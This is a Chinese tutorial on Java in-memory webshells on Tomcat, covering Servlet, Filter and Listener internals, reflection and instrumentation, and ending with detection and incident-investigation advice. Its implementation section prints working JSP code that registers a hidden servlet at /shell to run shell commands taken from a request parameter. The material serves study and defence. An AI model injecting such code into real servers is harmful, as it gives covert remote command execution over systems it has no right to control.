一文看懂内存马

一、内存马简介

1.1 webshell变迁

webshell的变迁过程大致如下所述：

web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马

内存马是无文件攻击的一种常用手段，随着攻防演练热度越来越高：攻防双方的博弈，流量分析、EDR等专业安全设备被蓝方广泛使用，传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到，内存马使用越来越多。

Webshell内存马，是在内存中写入恶意后门和木马并执行，达到远程控制Web服务器的一类内存马，其瞄准了企业的对外窗口：网站、应用。但传统的Webshell都是基于文件类型的，黑客可以利用上传工具或网站漏洞植入木马，区别在于Webshell内存马是无文件马，利用中间件的进程执行某些恶意代码，不会有文件落地，给检测带来巨大难度。

1.2 如何实现webshell内存马

目标：访问任意url或者指定url，带上命令执行参数，即可让服务器返回命令执行结果
实现：以java为例，客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件，我们只要在这个请求的过程中做手脚，在内存中修改已有的组件或者动态注册一个新的组件，插入恶意的shellcode，就可以达到我们的目的。

1.3 内存马类型

根据内存马注入的方式，大致可以将内存马划分为如下两类

1.servlet-api型
通过命令执行等方式动态注册一个新的listener、filter或者servlet，从而实现命令执行等功能。特定框架、容器的内存马原理与此类似，如spring的controller内存马，tomcat的valve内存马

2.字节码增强型
通过java的instrumentation动态修改已有代码，进而实现命令执行等功能。

二、背景知识

2.1 Java web三大件

2.1.1 Servlet

1.什么是servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序，它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求，并根据请求生成相应的返回信息提供给用户。

2.请求的处理过程

客户端发起一个http请求，比如get类型。
Servlet容器接收到请求，根据请求信息，封装成HttpServletRequest和HttpServletResponse对象。
Servlet容器调用HttpServlet的init()方法，init方法只在第一次请求的时候被调用。
Servlet容器调用service()方法。
service()方法根据请求类型，这里是get类型，分别调用doGet或者doPost方法，这里调用doGet方法。
doXXX方法中是我们自己写的业务逻辑。
业务逻辑处理完成之后，返回给Servlet容器，然后容器将结果返回给客户端。
容器关闭时候，会调用destory方法

3.servlet生命周期

1）服务器启动时(web.xml中配置load-on-startup=1，默认为0)或者第一次请求该servlet时，就会初始化一个Servlet对象，也就是会执行初始化方法init(ServletConfig conf)。

2）servlet对象去处理所有客户端请求，在service(ServletRequest req，ServletResponse res)方法中执行

3）服务器关闭时，销毁这个servlet对象，执行destroy()方法。

4）由JVM进行垃圾回收。

2.1.2Filter

简介

filter也称之为过滤器，是对Servlet技术的一个强补充，其主要功能是在HttpServletRequest到达 Servlet 之前，拦截客户的HttpServletRequest ，根据需要检查HttpServletRequest，也可以修改HttpServletRequest 头和数据；在HttpServletResponse到达客户端之前，拦截HttpServletResponse ，根据需要检查HttpServletResponse，也可以修改HttpServletResponse头和数据。

基本工作原理

1、Filter 程序是一个实现了特殊接口的 Java 类，与 Servlet 类似，也是由 Servlet 容器进行调用和执行的。
2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时，它可以决定是否将请求继续传递给 Servlet 程序，以及对请求和响应消息是否进行修改。
3、当 Servlet 容器开始调用某个 Servlet 程序时，如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截，那么容器不再直接调用 Servlet 的 service 方法，而是调用 Filter 的 doFilter 方法，再由 doFilter 方法决定是否去激活 service 方法。
4、但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法，而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法，FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码，这样就可以在 Servlet 进行响应前后实现某些特殊功能。
6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法，则目标 Servlet 的 service 方法不会被执行，这样通过 Filter 就可以阻止某些非法的访问请求。

filter的生命周期

与servlet一样，Filter的创建和销毁也由web容器负责。 web 应用程序启动时，web 服务器将创建Filter 的实例对象，并调用其init方法，读取web.xml配置，完成对象的初始化功能，从而为后续的用户请求作好拦截的准备工作（filter对象只会创建一次，init方法也只会执行一次）。开发人员通过init方法的参数，可获得代表当前filter配置信息的FilterConfig对象。
Filter对象创建后会驻留在内存，当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中，可以释放过滤器使用的资源。

filter链
当多个filter同时存在的时候，组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序，决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时，web服务器会创建一个代表Filter链的FilterChain对象传递给该方法，通过判断FilterChain中是否还有filter决定后面是否还调用filter。

2.1.3 Listener

简介
JavaWeb开发中的监听器（Listener）就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。
ServletContextListener：对Servlet上下文的创建和销毁进行监听；
ServletContextAttributeListener：监听Servlet上下文属性的添加、删除和替换；
HttpSessionListener：对Session的创建和销毁进行监听。Session的销毁有两种情况，一个中Session超时，还有一种是通过调用Session对象的invalidate()方法使session失效。
HttpSessionAttributeListener：对Session对象中属性的添加、删除和替换进行监听；
ServletRequestListener：对请求对象的初始化和销毁进行监听；
ServletRequestAttributeListener：对请求对象属性的添加、删除和替换进行监听。

用途
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器，可以自动出发一些动作，比如监听在线的用户数量，统计网站访问量、网站访问监控等。

2.2Tomcat

2.2.1简介

简单理解，tomcat是http服务器+servlet容器。
Tomcat 作为Servlet容器,将http请求文本接收并解析，然后封装成HttpServletRequest类型的request对象，传递给servlet；同时会将响应的信息封装为HttpServletResponse类型的response对象，然后将response交给tomcat，tomcat就会将其变成响应文本的格式发送给浏览器

2.2.2Tomcat架构设计

前面提到过，Tomcat 的本质其实就是一个 WEB 服务器 + 一个 Servlet 容器，那么它必然需要处理网络的连接与 Servlet 的管理，因此，Tomcat 设计了两个核心组件来实现这两个功能，分别是连接器和容器，连接器用来处理外部网络连接，容器用来处理内部 Servlet，我用一张图来表示它们的关系：

一个 Tomcat 代表一个 Server 服务器，一个 Server 服务器可以包含多个 Service 服务，Tomcat 默认的 Service 服务是 Catalina，而一个 Service 服务可以包含多个连接器，因为 Tomcat 支持多种网络协议，包括 HTTP/1.1、HTTP/2、AJP 等等，一个 Service 服务还会包括一个容器，容器外部会有一层 Engine 引擎所包裹，负责与处理连接器的请求与响应，连接器与容器之间通过 ServletRequest 和 ServletResponse 对象进行交流。
一个engine可以对一个多个host，也就是虚拟主机，一个host可以对应多个context，也就是web应用，一个context对应多个wrapper，也就是servlet。这个映射关系，通过mapper组件来关联，mapper组件保存了Web应用的配置信息，容器组件与访问路径的映射关系。Host容器的域名，Context容器中的web路径，Wrapper容器中的servlet映射的路径，这些配置信息是多层次的Map。根据请求定位到指定servlet的流程图如下：

2.3 其他java背景知识

2.3.1 java反射

反射提供的功能，能在运行时（动态）的

1.获取一个类的所有成员变量和方法

2.创建一个类的对象

a.获取对象成员变量&赋值
b.调用对象的方法
c.判断对象所属的类

在注入内存马的过程当中，我们可能需要用到反射机制，例如注入一个servlet型的内存马，我们需要使用反射机制来获取当前的context，然后将恶意的servlet（wrapper）添加到当前的context的children中。
在使用Java反射机制时，主要步骤包括：

①获取 目标类型的Class对象
②通过 Class 对象分别获取Constructor类对象、Method类对象 & Field 类对象
③通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息，并进行后续操作

2.3.2 java instrumentation

Instrumentation是Java提供的一个来自JVM的接口，该接口提供了一系列查看和操作Java类定义的方法，例如修改类的字节码、向classLoader的classpath下加入jar文件等。使得开发者可以通过Java语言来操作和监控JVM内部的一些状态，进而实现Java程序的监控分析，甚至实现一些特殊功能（如AOP、热部署）。
Java agent是一种特殊的Java程序（Jar文件），它是Instrumentation的客户端。与普通Java程序通过main方法启动不同，agent并不是一个可以单独启动的程序，而必须依附在一个Java应用程序（JVM）上，与它运行在同一个进程中，通过Instrumentation API与虚拟机交互。
在注入内存马的过程中，我们可以利用java instrumentation机制，动态的修改已加载到内存中的类里的方法，进而注入恶意的代码。

三、内存马实现

这里我们以tomcat的servletAPI型内存马为例讲一下内存马的实现。下面的代码先是创建了一个恶意的servlet，然后获取当前的StandardContext，然后将恶意servlet封装成wrapper添加到StandardContext的children当中，最后添加ServletMapping将访问的URL和wrapper进行绑定。

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>

<%
    // 创建恶意Servlet
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };

    %>
<%
    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

    // 用Wrapper对其进行封装
    org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    newWrapper.setName("jweny");
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    // 添加封装后的恶意Wrapper到StandardContext的children当中
    standardCtx.addChild(newWrapper);

    // 添加ServletMapping将访问的URL和Servlet进行绑定
    standardCtx.addServletMapping("/shell","jweny");
%>

执行上述代码后，访问当前应用的/shell路径，加上cmd参数就可以命令执行了。使用新增servlet的方式就需要绑定指定的URL。如果我们想要更加隐蔽，做到内存马与URL无关，无论这个url是原生servlet还是某个struts action，甚至无论这个url是否真的存在，只要我们的请求传递给tomcat，tomcat就能相应我们的指令，那就得通过注入新的或修改已有的filter或者listener的方式来实现了。比如早期rebeyond师傅开发的memshell，就是通过修改org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法来实现的，后期冰蝎最新版本的内存马为了实现更好的兼容性，选择hook javax.servlet.http.HttpServlet#service 函数，在weblogic选择hook weblogic.servlet.internal.ServletStubImpl#execute 函数。

四、内存马检测与排查

4.1源码检测

在java中，只有被JVM加载后的类才能被调用，或者在需要时通过反射通知JVM加载。所以特征都在内存中，表现形式为被加载的class。需要通过某种方法获取到JVM的运行时内存中已加载的类， Java本身提供了Instrumentation类来实现运行时注入代码并执行，因此产生一个检测思路：注入jar包-> dump已加载class字节码->反编译成java代码-> 源码webshell检测。
这样检测比较消耗性能，我们可以缩小需要进行源码检测的类的范围，通过如下的筛选条件组合使用筛选类进行检测：
①新增的或修改的；
②没有对应class文件的
③xml配置中没注册的
④冰蝎等常见工具使用的
⑤filterchain中排第一的filter类

还有一些比较弱的特征可以用来辅助检测，比如类名称中包含shell或者为随机名，使用不常见的classloader加载的类等等。

另外，有一些工具可以辅助检测内存马，如java-memshell-scanner是通过jsp扫描应用中所有的filter和servlet，然后通过名称、对应的class是否存在来判断是否是内存马

4.2 内存马排查

如果我们通过检测工具或者其他手段发现了一些内存webshell的痕迹，需要有一个排查的思路来进行跟踪分析，也是根据各类型的原理，列出一个排查思路。

如果是jsp注入，日志中排查可疑jsp的访问请求。

如果是代码执行漏洞，排查中间件的error.log，查看是否有可疑的报错，判断注入时间和方法

根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell，排查框架漏洞，反序列化漏洞。

如果是servlet或者spring的controller类型，根据上报的webshell的url查找日志（日志可能被关闭，不一定有），根据url最早访问时间确定被注入时间。

如果是filter或者listener类型，可能会有较多的404但是带有参数的请求，或者大量请求不同url但带有相同的参数，或者页面并不存在但返回200

参考链接

java web请求三大器——listener、filter、servlet
Tomcat架构原理
利用“进程注入”实现无文件复活 WebShell
深入理解反射
查杀Java web filter型内存马